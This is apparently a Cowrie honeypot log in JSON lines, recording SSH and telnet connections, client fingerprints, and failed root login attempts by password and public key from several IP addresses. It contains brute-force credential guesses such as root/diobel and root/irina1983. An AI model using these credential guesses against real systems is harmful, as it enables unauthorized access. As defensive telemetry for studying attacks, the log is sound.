{"eventid":"cowrie.client.kex","hassh":"3cb24313ef7969100a7527f11b569cd4","hasshAlgorithms":"diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,ext-info-c;3des-cbc,aes128-cbc,aes128-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 3cb24313ef7969100a7527f11b569cd4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:38:30.589051Z","src_ip":"221.163.5.228","session":"12ba1b374fe7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"diobel","message":"login attempt [root/diobel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:38:31.406618Z","src_ip":"221.163.5.228","session":"12ba1b374fe7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:38:32.605091Z","src_ip":"221.163.5.228","session":"12ba1b374fe7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.92815065383911,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:38:43.326167Z","src_ip":"170.64.224.25","session":"6f0348dbec59","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"101.126.22.12","src_port":52378,"dst_ip":"159.203.135.109","dst_port":22,"session":"7629513b8035","protocol":"ssh","message":"New connection: 101.126.22.12:52378 (159.203.135.109:22) [session: 7629513b8035]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:38:43.916116Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:38:45.387331Z","src_ip":"101.126.22.12","session":"7629513b8035","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:38:45.393718Z","src_ip":"101.126.22.12","session":"7629513b8035","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hb123456!","message":"login attempt [root/hb123456!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:38:46.363457Z","src_ip":"101.126.22.12","session":"7629513b8035","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:38:47.611001Z","src_ip":"101.126.22.12","session":"7629513b8035","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":60106,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e97e9476bb0","protocol":"ssh","message":"New connection: 77.94.47.83:60106 (10.17.0.5:22) [session: 3e97e9476bb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:39:06.471265Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:39:06.475672Z","src_ip":"77.94.47.83","session":"3e97e9476bb0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:39:06.586134Z","src_ip":"77.94.47.83","session":"3e97e9476bb0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"irina1983","message":"login attempt [root/irina1983] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:39:06.917019Z","src_ip":"77.94.47.83","session":"3e97e9476bb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:39:08.031403Z","src_ip":"77.94.47.83","session":"3e97e9476bb0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.212","src_port":49596,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e8aaab3264a","protocol":"ssh","message":"New connection: 62.182.85.212:49596 (10.17.0.5:22) [session: 5e8aaab3264a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:39:14.810222Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:39:14.813604Z","src_ip":"62.182.85.212","session":"5e8aaab3264a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:39:14.934349Z","src_ip":"62.182.85.212","session":"5e8aaab3264a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a3:f7:23:3d:ae:54:01:b5:d9:78:db:5d:d0:7c:cf:8e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDN/NRp9AxMBgLC780RO1CEje5ytM35xFCq8s8dlLgndW1Q0hc+ndijwXBMVEdJ7mtYor2AC4ExtfoJp0haeYNrmGLsoZoYkPka9ZorWGTR89KiLpTPrrWDSQvK012tYR1zHzLThMqVw77pUFvOqt+HkdjFxrgSL/wqqDRe0P/tBW0aPnvmT3MNw5yc4fieIapTnekJznK/F/eo89GG7yTuQAh7x9lor/F4yukSFKuIDUsZSXCWTfxWt7QEE6kydWoALY9vxf232SaNQJXbwy5mJzbHvmvLMpgs/JTuniOH1MsCCgkoSmJKanENTqAHZoQNDNPVlulqGfVj7WWqf+Hl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a3:f7:23:3d:ae:54:01:b5:d9:78:db:5d:d0:7c:cf:8e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:39:15.510689Z","src_ip":"62.182.85.212","session":"5e8aaab3264a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a3:f7:23:3d:ae:54:01:b5:d9:78:db:5d:d0:7c:cf:8e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDN/NRp9AxMBgLC780RO1CEje5ytM35xFCq8s8dlLgndW1Q0hc+ndijwXBMVEdJ7mtYor2AC4ExtfoJp0haeYNrmGLsoZoYkPka9ZorWGTR89KiLpTPrrWDSQvK012tYR1zHzLThMqVw77pUFvOqt+HkdjFxrgSL/wqqDRe0P/tBW0aPnvmT3MNw5yc4fieIapTnekJznK/F/eo89GG7yTuQAh7x9lor/F4yukSFKuIDUsZSXCWTfxWt7QEE6kydWoALY9vxf232SaNQJXbwy5mJzbHvmvLMpgs/JTuniOH1MsCCgkoSmJKanENTqAHZoQNDNPVlulqGfVj7WWqf+Hl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:39:15.513874Z","src_ip":"62.182.85.212","session":"5e8aaab3264a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c5:d2:b1:2e:f1:6a:3a:ac:bd:44:13:1e:cf:5a:be:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKHAbNmnZv1AF1L3V3Sxu/a05QrOa6WaQp4/0OG9HqrnIPLtSvYm4zm/KQgk7/1UeewQxqdleNp6TPwqbDxhTHokCfBIKFVInMsDhVYx06pPQI+6vihHL05Dzj0lTMIsZSU4fNMm7yQSJkwimM/dVCUTF447ar+a2sBIsKONnlJzX8WXYeIOI4icwEZouDQNS0Xc8RNsZCowxLweb00lUpF83b6Zefd/85gcHvzoev2tzLMb476uMGw0w1sOXMWTNpUol22T5TJfeUmJdg/RLFGF5h5ceS0yf6HhZ/cyrSIfWm7cX/SoDyTSFFJbAEhY+fzZgxmdHAfgPuJuq0+e8F","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c5:d2:b1:2e:f1:6a:3a:ac:bd:44:13:1e:cf:5a:be:48","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:39:15.633875Z","src_ip":"62.182.85.212","session":"5e8aaab3264a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c5:d2:b1:2e:f1:6a:3a:ac:bd:44:13:1e:cf:5a:be:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKHAbNmnZv1AF1L3V3Sxu/a05QrOa6WaQp4/0OG9HqrnIPLtSvYm4zm/KQgk7/1UeewQxqdleNp6TPwqbDxhTHokCfBIKFVInMsDhVYx06pPQI+6vihHL05Dzj0lTMIsZSU4fNMm7yQSJkwimM/dVCUTF447ar+a2sBIsKONnlJzX8WXYeIOI4icwEZouDQNS0Xc8RNsZCowxLweb00lUpF83b6Zefd/85gcHvzoev2tzLMb476uMGw0w1sOXMWTNpUol22T5TJfeUmJdg/RLFGF5h5ceS0yf6HhZ/cyrSIfWm7cX/SoDyTSFFJbAEhY+fzZgxmdHAfgPuJuq0+e8F","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:39:15.636786Z","src_ip":"62.182.85.212","session":"5e8aaab3264a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5c:54:55:79:81:62:32:61:51:e1:81:5e:42:87:93:f2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC/wI+lKeZ7ghEoEjY7QqEOrM12GHRQ3Rcqo6fW/A240zxR31/Itf7XtajHsPPTyhclBshHisOeqQt49nIF79g5OzvnrW11xO9gePfmaP89HGwE1f1cDe8XfAvUoSe6vEc2Qd/0fVOro3rqoF3MZXfj8zkFfjaFJHIhmngoonxj1DYoUUnMhOudYxR5px30gEL5XJDWsPzqGUCWlwsFtxymKiWO/cny8DNKNzdtHt8kvQvARO1LQ+n39lnCmWvFGn6XtNU2NOkfWptb2lbh2imxkdWi9H5O2nm+5v6K5AAISDqHo1mBRtqjMN18+OV9pQjz7xfvttBZYhqVXDes9yvxg2jMHFTx4MVJCFAmcFnozsbx6qbs6F2fxS633lBfZWrRh9nkKfOU2Bg0L/viwCdc2JRLYdIa6S/wh245EhQ6Hn5MEWYVRgLDmJO4HgGO/OJer8iypeBZuTdAlv21rvKA15cEyP2WOcrkWZMIXQtYERxRsnSd6tp4SPaSfxzb8gBTqyidzhP5EkNa5XyuMIeFujh1KWcHT0g48Wpt/8pmjPqJWuA9RPW5gTGfIo6SFZvdOIX2tLemRFRGofW99Ce8TFj8HFwktQKS0Q3YKhPtWWTeduIuJlyTwA6iWES33JVf+uT2z1wVLBzsrmASWvQnYrDPImvXtZcFe3XfREOP7w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5c:54:55:79:81:62:32:61:51:e1:81:5e:42:87:93:f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:39:15.756038Z","src_ip":"62.182.85.212","session":"5e8aaab3264a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5c:54:55:79:81:62:32:61:51:e1:81:5e:42:87:93:f2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC/wI+lKeZ7ghEoEjY7QqEOrM12GHRQ3Rcqo6fW/A240zxR31/Itf7XtajHsPPTyhclBshHisOeqQt49nIF79g5OzvnrW11xO9gePfmaP89HGwE1f1cDe8XfAvUoSe6vEc2Qd/0fVOro3rqoF3MZXfj8zkFfjaFJHIhmngoonxj1DYoUUnMhOudYxR5px30gEL5XJDWsPzqGUCWlwsFtxymKiWO/cny8DNKNzdtHt8kvQvARO1LQ+n39lnCmWvFGn6XtNU2NOkfWptb2lbh2imxkdWi9H5O2nm+5v6K5AAISDqHo1mBRtqjMN18+OV9pQjz7xfvttBZYhqVXDes9yvxg2jMHFTx4MVJCFAmcFnozsbx6qbs6F2fxS633lBfZWrRh9nkKfOU2Bg0L/viwCdc2JRLYdIa6S/wh245EhQ6Hn5MEWYVRgLDmJO4HgGO/OJer8iypeBZuTdAlv21rvKA15cEyP2WOcrkWZMIXQtYERxRsnSd6tp4SPaSfxzb8gBTqyidzhP5EkNa5XyuMIeFujh1KWcHT0g48Wpt/8pmjPqJWuA9RPW5gTGfIo6SFZvdOIX2tLemRFRGofW99Ce8TFj8HFwktQKS0Q3YKhPtWWTeduIuJlyTwA6iWES33JVf+uT2z1wVLBzsrmASWvQnYrDPImvXtZcFe3XfREOP7w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:39:15.758951Z","src_ip":"62.182.85.212","session":"5e8aaab3264a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":54048,"dst_ip":"159.203.135.109","dst_port":23,"session":"49b2c139f8fb","protocol":"telnet","message":"New connection: 170.64.224.25:54048 (159.203.135.109:23) [session: 49b2c139f8fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:39:15.818098Z"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ad:36:81:5a:dd:94:2d:52:af:dc:77:b4:e7:34:83:73","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDveIPHds2INa54NiINIa8dMZ5zPQsYfucjq6PZpM8HXXUzv7j6VvG15mNZsaHFrwG5Blp+3evj8X6R9SJUJz4D0MIOyVRXv/CA8PC4+NqABmFqI+S2E6jswzb7uW1nrkLteC9nQ/24WmHX1TZkPIAiVseXS8K4jC8BSkvY7q7C8DdQiw5D70r+4WDEmrkNLBPSWKPtvVldRYniqSu/n0zej7ojWZc78XKwpLixgGEELB0e21W5A5MfDvzUy+9v7IN+HdC6pENY+udq4kwTr09TkeMnXIp+vyfG2cqSA1nKCaxTVFsyEtLA/KyiDZj5gNQzaUW3KWHTXHVDJHCveEKNkbyn5Q6KxGqZvmfpEtM3FhWCdS1jkml3akehutJFni5yx9rAQ3whxgI9YSRUMCj/t84mQo9AmyNRVmQhU2s1Xkyyf5VuoDJJ0W/k3IRg05LiNUMLSHIqjku3P1cJtmW+ut+hp376H6KNmvrhmHHByZhY1Yl/0UM29GQXS4NFBtI9c2fTPWuVWzgbfOlTEkczNw6sMru8lSFlwQJXNzObRx7gdt+E8YtBHXEMAfSAOiN1YFQb/YPcSB8ZOHVEJVbvFjFelDlXT7ty2romOD8cao8ST75+pY7fCLx8ZnFPEMfeDWa6wxGN3HNZ5AwhD3cK0sX1bLES2wUetrR9o0K0aw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ad:36:81:5a:dd:94:2d:52:af:dc:77:b4:e7:34:83:73","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:39:15.878680Z","src_ip":"62.182.85.212","session":"5e8aaab3264a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ad:36:81:5a:dd:94:2d:52:af:dc:77:b4:e7:34:83:73","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDveIPHds2INa54NiINIa8dMZ5zPQsYfucjq6PZpM8HXXUzv7j6VvG15mNZsaHFrwG5Blp+3evj8X6R9SJUJz4D0MIOyVRXv/CA8PC4+NqABmFqI+S2E6jswzb7uW1nrkLteC9nQ/24WmHX1TZkPIAiVseXS8K4jC8BSkvY7q7C8DdQiw5D70r+4WDEmrkNLBPSWKPtvVldRYniqSu/n0zej7ojWZc78XKwpLixgGEELB0e21W5A5MfDvzUy+9v7IN+HdC6pENY+udq4kwTr09TkeMnXIp+vyfG2cqSA1nKCaxTVFsyEtLA/KyiDZj5gNQzaUW3KWHTXHVDJHCveEKNkbyn5Q6KxGqZvmfpEtM3FhWCdS1jkml3akehutJFni5yx9rAQ3whxgI9YSRUMCj/t84mQo9AmyNRVmQhU2s1Xkyyf5VuoDJJ0W/k3IRg05LiNUMLSHIqjku3P1cJtmW+ut+hp376H6KNmvrhmHHByZhY1Yl/0UM29GQXS4NFBtI9c2fTPWuVWzgbfOlTEkczNw6sMru8lSFlwQJXNzObRx7gdt+E8YtBHXEMAfSAOiN1YFQb/YPcSB8ZOHVEJVbvFjFelDlXT7ty2romOD8cao8ST75+pY7fCLx8ZnFPEMfeDWa6wxGN3HNZ5AwhD3cK0sX1bLES2wUetrR9o0K0aw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:39:15.881904Z","src_ip":"62.182.85.212","session":"5e8aaab3264a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ad:3b:6f:8d:7e:d9:2f:4b:b5:15:47:49:28:50:e2:96","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvCwoXlkcqGJFhPHB127TfnrMGCga/y3u/zBLCznpRb5irzNXaOualmPl8Tioyr4DxAZ4edPNZ2sgCvNMVO4lwz/xYEKtd897rNWPhAkSTWFw8kWf0xDsohnRnpnOHOnf/ibkKi4Egqq/iF8b64tQcIw8E9yAGxs8dmAzennTfuV0vLo4mB/3cSVbyCYltl7EeNaugn6hZSsvSTK/OjG7fWD/nIjWn7fyO6z0AP9wFdmSL/MYApxUxca9TEd9n5k2oxOoynFf40rJDCqTZRXmR1FxchdPNa6Ih5UnLCLs/lGLVbGKvZ9IUE+x9LMLSNOV5GNKvaSnoBIP4zC/zdEcJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ad:3b:6f:8d:7e:d9:2f:4b:b5:15:47:49:28:50:e2:96","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:39:16.001306Z","src_ip":"62.182.85.212","session":"5e8aaab3264a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ad:3b:6f:8d:7e:d9:2f:4b:b5:15:47:49:28:50:e2:96","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvCwoXlkcqGJFhPHB127TfnrMGCga/y3u/zBLCznpRb5irzNXaOualmPl8Tioyr4DxAZ4edPNZ2sgCvNMVO4lwz/xYEKtd897rNWPhAkSTWFw8kWf0xDsohnRnpnOHOnf/ibkKi4Egqq/iF8b64tQcIw8E9yAGxs8dmAzennTfuV0vLo4mB/3cSVbyCYltl7EeNaugn6hZSsvSTK/OjG7fWD/nIjWn7fyO6z0AP9wFdmSL/MYApxUxca9TEd9n5k2oxOoynFf40rJDCqTZRXmR1FxchdPNa6Ih5UnLCLs/lGLVbGKvZ9IUE+x9LMLSNOV5GNKvaSnoBIP4zC/zdEcJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:39:16.004072Z","src_ip":"62.182.85.212","session":"5e8aaab3264a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:39:16.123424Z","src_ip":"62.182.85.212","session":"5e8aaab3264a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":58556,"dst_ip":"159.203.135.109","dst_port":23,"session":"51c51f2e398d","protocol":"telnet","message":"New connection: 170.64.224.25:58556 (159.203.135.109:23) [session: 51c51f2e398d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:39:23.872738Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":58644,"dst_ip":"159.203.135.109","dst_port":22,"session":"beae28d6683c","protocol":"ssh","message":"New connection: 103.98.149.87:58644 (159.203.135.109:22) [session: beae28d6683c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:39:29.775981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:39:29.780297Z","src_ip":"103.98.149.87","session":"beae28d6683c","protocol":"ssh"}
